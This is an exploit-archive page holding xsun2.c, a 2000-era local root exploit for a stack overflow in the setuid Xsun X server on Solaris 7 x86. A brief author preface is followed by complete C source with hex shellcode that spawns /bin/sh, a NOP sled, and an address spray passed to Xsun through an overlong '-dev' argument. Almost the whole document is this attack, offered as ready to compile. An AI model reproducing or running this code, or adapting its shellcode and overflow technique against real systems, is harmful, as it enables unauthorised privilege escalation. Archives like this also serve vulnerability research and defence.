what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

xsun2.c

xsun2.c
Posted Apr 27, 2000
Authored by DiGiT

xsun2.c is a Solaris 7 x86 local root stack overflow for /usr/openwin/bin/Xsun.

tags | exploit, overflow, x86, local, root
systems | solaris
SHA-256 | 24ed4a994f23f97bc9fed03f609685836e2cbacf45625145eee480f32fadd9b6

xsun2.c

Change Mirror Download
There exists an overflow in /usr/openwin/bin/Xsun setuid root program on
solaris 7 x86 version, I'm not sure about sol 8. This bug was discovered
and exploited sometime in '98.

The program comes default setgid root on the sparc version of solaris.
I haven't checked wether this is exploitable on sparc.

I'm releasing this crap due to a copycat exploit from hack.co.za, you be
the judge.

later,

DiGiT

/*
*
* Solaris 7 Xsun(suid) local overflow - PRIVATE for now!
* Solaris 2.7/(2.6?) x86 sploit no sparc code, yet!
*
* Discovered/sploited By DiGiT - teddi@linux.is
*
* Greets: #!ADM, #!security.is
*/

#include <stdio.h>
#include <stdlib.h>

// Generic solaris x86 shellcode by cheeze wizz

char shellcode[] =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

long get_esp() { __asm__("movl %esp,%eax"); }

int main(int argc, char *argv[]) {

char buff[5000];
int nopcount=2001, bsize=4000, offset=1850;
int i;

if (argc > 1) nopcount = atoi(argv[1]);
if (argc > 2) bsize = atoi(argv[2]);
if (argc > 3) offset = atoi(argv[3]);
memset (buff, 0x90, bsize);

for (i = nopcount; i < bsize - 4; i += 4)
*(long *) &buff[i] = get_esp() + offset;

memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
(shellcode));

memcpy (buff, ":", 1);

printf("Oh boy. DiGiT presents r00t\n");

execl("/usr/openwin/bin/Xsun", "Xsun", "-dev", buff, NULL);

}

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close